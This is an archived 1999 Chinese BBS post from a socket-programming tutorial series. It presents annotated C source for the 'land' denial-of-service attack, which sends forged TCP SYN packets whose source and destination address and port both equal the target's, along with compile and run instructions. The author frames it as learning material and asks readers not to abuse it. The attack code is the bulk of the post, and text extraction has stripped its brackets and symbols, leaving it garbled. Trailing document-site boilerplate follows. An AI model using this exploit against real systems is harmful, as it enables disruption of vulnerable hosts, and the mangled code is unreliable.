



全文预览已结束
下载本文档
版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
武汉白云黄鹤站精华区发信人:cloudsky(晓舟轩辕明月),信区:Linux标题:网络socket编程(6)发信站:武汉白云黄鹤站(MonFeb820:22:441999),站内信件11.land攻击源程序示例/*编译环境solaris2.5.1看过源程序就可以向Pwin平台下移植,用VC。因为这次是演示Unix/Linux下Socket编程,VC的程序可以参看Ipman附带的源程序,就不多说了。编译命令cc-olandland.c-lsocket-lnsl执行方法因为要建立原始socket的缘故,必须在特权用户下landtargetIp139|113执行纠错在/usr/include/sys/errno.h中查看错误代码,比如在非特权用户下会得到13号错误意即权限否定。一点说明我是在翻看BSDSocket的过程中给这个程序加了详细注释,并给出了一切编译运行的说明,初衷不过是想让大家能感性地认识一下Socket编程和曾经风靡一时的land攻击因为Pwin98已经可以抵抗这种攻击,所以我想这样做没有太多危害了。但是显然还有低版本的Pwin系列存在,革命靠自觉,学习讨论都可以,不要拿着龌龊当有趣。希望这些文章能对爱好Unix/Linux却没有太多时间折腾的朋友有所帮助,至少不要象我一般瞎折腾良久浪费时间重复劳动。毕竟我也是业余爱好,对于BSDSocket编程根本是一窍不通,那个破破的校验和算法与书中提到的不一致,高手指点一下吧,sigh*/#include#include#include#include#include#include#include#include#includestructpseudohdrstructin_addrsaddr;structin_addrdaddr;u_charzero;u_charprotocol;u_shortlength;structtcphdrtcpheader;u_shortchecksum(u_short*data,u_shortlength)registerlongvalue;u_shorti;value=0;for(i=0;i1);i+)value+=datai;if(length&1)=1)value+=(datai16);return(value);/*这个计算校验和的函数是我按书中描述写的,与原作者给的不一样*/u_shortanotherChecksum(u_short*data,u_shortlength)registerlongvalue;u_shorti;value=0;for(i=0;i1);i+)value=datai;return(value);intmain(intargc,char*argv)structsockaddr_insin;structhostent*hoste;intsock,optval;charbuffer1024;structpseudohdrpseudoheader;/*实际意义就是IP头+TCP头*/structip*ipheader=(structip*)buffer;structtcphdr*tcpheader=(structtcphdr*)(buffer+sizeof(structip);if(argcip_v=4;ipheader-ip_hl=sizeof(structip)/4; /*IP头长度计算所用单位为32位字*/*数据包长度用字节表示,包括头的长度*/ipheader-ip_len=htons(sizeof(structip)+sizeof(structtcphdr);ipheader-ip_id=htons(0xF1C);/*生存时间表示数据被丢失前保存在网络上的时间,以秒计*/ipheader-ip_ttl=255;ipheader-ip_p=IPPROTO_TCP;/*源和目的IP地址是同一个,这种包是人为的扭曲*/ipheader-ip_src=sin.sin_addr;ipheader-ip_dst=sin.sin_addr;/*源和目的端口是同一个,这种包是人为的扭曲*/tcpheader-th_sport=sin.sin_port;tcpheader-th_dport=sin.sin_port;tcpheader-th_seq=htonl(0xF1C);/*转换成网络字节顺序*/tcpheader-th_off=sizeof(structtcphdr)/4;/*标志包括紧急标志、确认标志、入栈标志、重置标志、同步标志等。*/*#defineTH_SYN0x02*/tcpheader-th_flags=TH_SYN;tcpheader-th_win=htons(2048);bzero(&pseudoheader,12+sizeof(structtcphdr);pseudoheader.saddr=sin.sin_addr;pseudoheader.daddr=sin.sin_addr;/*#defineIPPROTO_TCP6*/tocol=6;pseudoheader.length=htons(sizeof(structtcphdr);bcopy(char*)tcpheader,(char*)&pseudoheader.tcpheader,sizeof(structtcphdr);if(argc=4)if(!strcmp(argv3,one)tcpheader-th_sum=checksum(u_short*)&pseudoheader,12+sizeof(structtcphdr);fprintf(stderr,ntcpheader-th_sum=%x,tcpheader-th_sum);elseif(!strcmp(argv3,two)tcpheader-th_sum=anotherChecksum(u_short*)&pseudoheader,12+sizeof(structtcphdr);fprintf(stderr,nanothertcpheader-th_sum=%x,tcpheader-th_sum);elsetcpheader-th_sum=20;/*注意,上面的代码的意义请参看任意一本讲述TCP/IP协议的书籍,但是可能因为校验和计算有问题,按照上述代码计算下来的校验和导致land攻击无效,原来的程序中被人改成固定的20,我也不理解为何这样就可以有效攻击了,faint,真是!#$%&*()*/elsetcpheader-th_sum=20;if(sendto(sock,buffer,sizeof(structip)+sizeof(structtcphdr),0,(structsockaddr*)&sin,sizeof(structsockaddr_in)=-1)fprintf(stderr,ncouldntsendpacket,%dn,errno);return-1;fprintf(stderr,n%s:%slandedn,argv1,argv2);close(sock);return0;/*
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 2025年英语面试测试题及答案
- 聚合物配制工突发故障应对考核试卷及答案
- 电子绝缘材料上胶工转正考核试卷及答案
- 2025年日语大专自考试题及答案
- 农发行绥化市兰西县2025秋招笔试性格测试题专练及答案
- 数字化物流商业运营(慕课版) 任务实施答案汇 项目一:任务实施1“物流企业数字化升级的机遇与挑战分析”-项目九:任务实施2“冷链物流数字化升级实施环节设计”
- 2025年小学简便运算真题及答案
- 2025年物理单位换算真题及答案
- 农发行绵阳市江油市2025秋招笔试创新题型专练及答案
- 汽车生产线操作工月度绩效考核试卷及答案
- 2025年合肥公交集团有限公司驾驶员招聘180人笔试参考题库附带答案详解
- 2024年上海市大数据中心招聘真题
- GB/T 46104-2025电解水制氢系统功率波动适应性测试方法
- 信贷档案管理培训课件
- 2025年网络安全监测预警体系建设实施方案评估报告
- 2025年会计继续教育网络答题真题及答案
- (2025)安全知识竞赛试题(附完整答案)
- 2025年辅警招聘考试(行政职业能力测验)复习题及答案
- 2025年海南事业单位联考笔试历年典型考题及考点剖析附带答案详解
- 2025年水发集团有限公司招聘(216人)备考练习试题及答案解析
- 试验检测资金管理办法
评论
0/150
提交评论